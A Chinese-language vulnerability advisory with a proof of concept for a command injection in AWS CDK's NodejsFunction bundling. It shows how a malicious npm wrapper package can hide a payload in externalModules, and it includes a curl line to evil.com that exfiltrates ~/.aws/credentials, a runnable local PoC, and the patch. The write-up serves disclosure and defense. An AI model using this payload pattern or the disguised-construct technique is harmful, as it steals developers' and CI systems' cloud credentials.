CVE-2026-11417 的技术分析与概念验证(PoC):AWS CDK 的 NodejsFunction 中的操作系统命令注入 / 远程代码执行(RCE)。
作者: Hesham Ashraf (@HeshamASH)
日期: 2026年6月10日
严重性: 高危 (CVSSv3.1: 7.3, CVSSv4: 7.0)
CWE: CWE-78 — 操作系统命令中特殊元素未正确中和(OS命令注入)
受影响包: aws-cdk-lib (npm),所有 2.245.0 之前的版本
供应商: Amazon Web Services (AWS)
状态: 已修复 (PR #37292, PR #37412) | CVE: CVE-2026-11417 | 公告: AWS-2026-041 | 安全公告: GHSA-999r-qq7v-r334
我在 AWS Cloud Development Kit (CDK) 中发现一个命令注入漏洞,它允许攻击者通过发布恶意 npm 包或提交精心构造的 Pull Request,在任何运行 cdk synth 的机器上实现远程代码执行 (RCE)——包括开发者工作站和 CI/CD 管道。
该漏洞存在的原因是 aws-cdk-lib 的 NodejsFunction 构造体直接将用户控制的字符串插值到 shell 命令中,且未经清理,然后通过 bash -c / cmd /c 执行。AWS 通过使用直接的 spawnSync 参数数组替换基于 shell 的执行方式修复了此问题。
AWS Cloud Development Kit (CDK) 是一个广泛使用的开源框架,用于将云基础设施定义为代码。数以万计的开发者和 CI/CD 管道使用它来合成和部署 AWS CloudFormation 堆栈。
NodejsFunction 构造体是最流行的 CDK L2 构造体之一。它在合成阶段 (cdk synth) 使用 esbuild 打包 TypeScript/JavaScript Lambda 函数。
NodejsFunction 构造体的本地打包路径通过直接插值多个用户控制的属性(没有任何清理)构建了一个 shell 命令字符串:
// packages/aws-cdk-lib/aws-lambda-nodejs/lib/bundling.ts (补丁前)
const esbuildCommand: string[] = [
options.esbuildRunner,
'--bundle', `"${relativeEntryPath}"`,
`--target=${this.props.target ?? toTarget(scope, this.props.runtime)}`,
'--platform=node',
...this.externals.map(external => `--external:${external}`), // 无转义
...loaders.map(([ext, name]) => `--loader:${ext}=${name}`), // 无转义
...defines.map(([key, value]) => `--define:${key}=${JSON.stringify(value)}`), // key 未转义
...this.props.inject ? this.props.inject.map(i => `--inject:"${i}"`) : [], // 无转义
...this.props.esbuildArgs ? [toCliArgs(this.props.esbuildArgs)] : [], // 无转义
];
该数组随后被拼接成一个字符串并传递给 shell:
// 拼接后的命令直接传递给操作系统 shell
exec(
osPlatform === 'win32' ? 'cmd' : 'bash',
[osPlatform === 'win32' ? '/c' : '-c', localCommand],
{ /* ... */ }
);
任何可注入属性中的 shell 元字符(如 &、;、|、` 和 $(...))都会被 shell 解释为命令分隔符,从而实现任意命令执行。
该漏洞特别危险,因为注入发生在 CDK 合成层,而不是 npm install 阶段。这意味着标准的 npm 安全措施(如 --ignore-scripts)无法提供保护。
攻击者发布一个看起来合法的 npm 包,该包包装了 NodejsFunction:
// 以 "convenient-lambda" 发布到 npm
import { NodejsFunction } from 'aws-cdk-lib/aws-lambda-nodejs';
export class ConvenientLambda extends NodejsFunction {
constructor(scope, id, props) {
super(scope, id, {
...props,
bundling: {
...props.bundling,
externalModules: [
...(props.bundling?.externalModules ?? []),
// 隐藏的有效载荷,混在看似正常的外部模块中
'lodash & curl https://evil.com/exfil?d=$(cat ~/.aws/credentials | base64)',
],
},
});
}
}
当开发者安装此包并运行 cdk synth 时,CDK 构建出以下命令:
npx esbuild --bundle handler.ts --external:lodash & curl https://evil.com/exfil?d=$(cat ~/.aws/credentials | base64)
& 字符将其拆分为两个独立的 shell 命令:
npx esbuild --bundle handler.ts --external:lodash — esbuild 正常运行curl https://evil.com/... — 攻击者的有效载荷窃取 AWS 凭据mkdir poc && cd poc
npm init -y
npm install aws-cdk-lib constructs esbuild typescript
mkdir lambda
echo 'export const handler = async () => ({ statusCode: 200 });' > lambda/handler.ts
app.tsimport * as cdk from 'aws-cdk-lib';
import { Stack } from 'aws-cdk-lib';
import { NodejsFunction } from 'aws-cdk-lib/aws-lambda-nodejs';
import { Runtime } from 'aws-cdk-lib/aws-lambda';
import * as path from 'path';
class PoCStack extends Stack {
constructor(scope, id) {
super(scope, id);
new NodejsFunction(this, 'Fn', {
entry: path.join(__dirname, 'lambda', 'handler.ts'),
runtime: Runtime.NODEJS_20_X,
bundling: {
externalModules: ['foo & echo PWNED > pwned.txt'],
},
});
}
}
const app = new cdk.App();
new PoCStack(app, 'PoCStack');
app.synth();
npx ts-node app.ts
cat pwned.txt
# 输出:PWNED
文件 pwned.txt 被创建,确认已对主机执行任意命令。
spawnSync核心修复方案将 shell 命令字符串构建替换为使用参数数组的直接 spawnSync:
- // 之前:shell 解释的命令字符串
- exec('bash', ['-c', esbuildCommand.join(' ')]);
+ // 之后:直接参数数组(无 shell 解释)
+ spawnSync(command, args, { /* no shell */ });
这彻底消除了 shell 元字符解释。新的 BundlingStep 类型系统清晰地分离:
spawn 步骤:esbuild/tsc/install — 通过直接 spawnSync 使用参数数组执行shell 步骤:用户提供的 commandHooks — 有意通过 shell 执行(用户按约定控制这些)fs 步骤:文件操作 — 不涉及 shell在 Windows 上使用 Node 22+ 时,直接对 .cmd shim 执行 spawnSync 会因 EINVAL 失败。此 PR 将 spawn 步骤通过 powershell.exe 路由,并使用了 powershellEscape() 函数——该函数使用 PowerShell 的本地转义(双倍内部单引号)对每个参数进行严格单引号包裹,然后加上 & 调用运算符。
Shell 执行是代码坏味道。 任何构建字符串并传递给 bash -c 或 cmd /c 的代码路径都是潜在的命令注入漏洞。始终优先使用基于数组的 spawnSync 或 execFile。
供应链攻击绕过安装时防御。 npm audit 和 --ignore-scripts 可以抵御恶意的 postinstall 脚本,但无法抵御工具在处理构建时依赖关系时产生的漏洞。
CDK 构造体是受信任的代码。 当开发者导入第三方 CDK 构造体时,他们隐含信任它能正确配置其基础设施。恶意构造体可以利用这种信任,将有效载荷注入看起来像普通配置的打包属性中。
立即更新 aws-cdk-lib 至 2.245.0 或更高版本
审计第三方 CDK 构造体,检查异常的 bundling 属性值
在 package-lock.json 中锁定 CDK 构造版本
特别仔细地审查修改 bundling 配置的 PR
使用 poc/ 文件夹中提供的文件复现该漏洞
由 Hesham Ashraf (@HeshamASH) 发现并报告。通过 AWS VDP 程序进行了协调披露。
| 属性 | 清理措施 | 风险等级 |
|---|
externalModules | 无 | 严重 |
define (键) | 无 (值使用了 JSON.stringify) | 严重 |
loader (键) | 无 | 严重 |
inject | 无 | 严重 |
esbuildArgs (键/值) | 无 | 严重 |
| 防御措施 | 是否有效 | 原因 |
|---|
npm install --ignore-scripts | 否 | 注入发生在 cdk synth 时,而非包安装时 |
代码审查 package.json | 否 | 有效载荷在 TypeScript 构造代码中,而非脚本中 |
| npm audit | 否 | 该包不包含已知漏洞 |
| lockfile 完整性 | 否 | 该包本身安装正确 |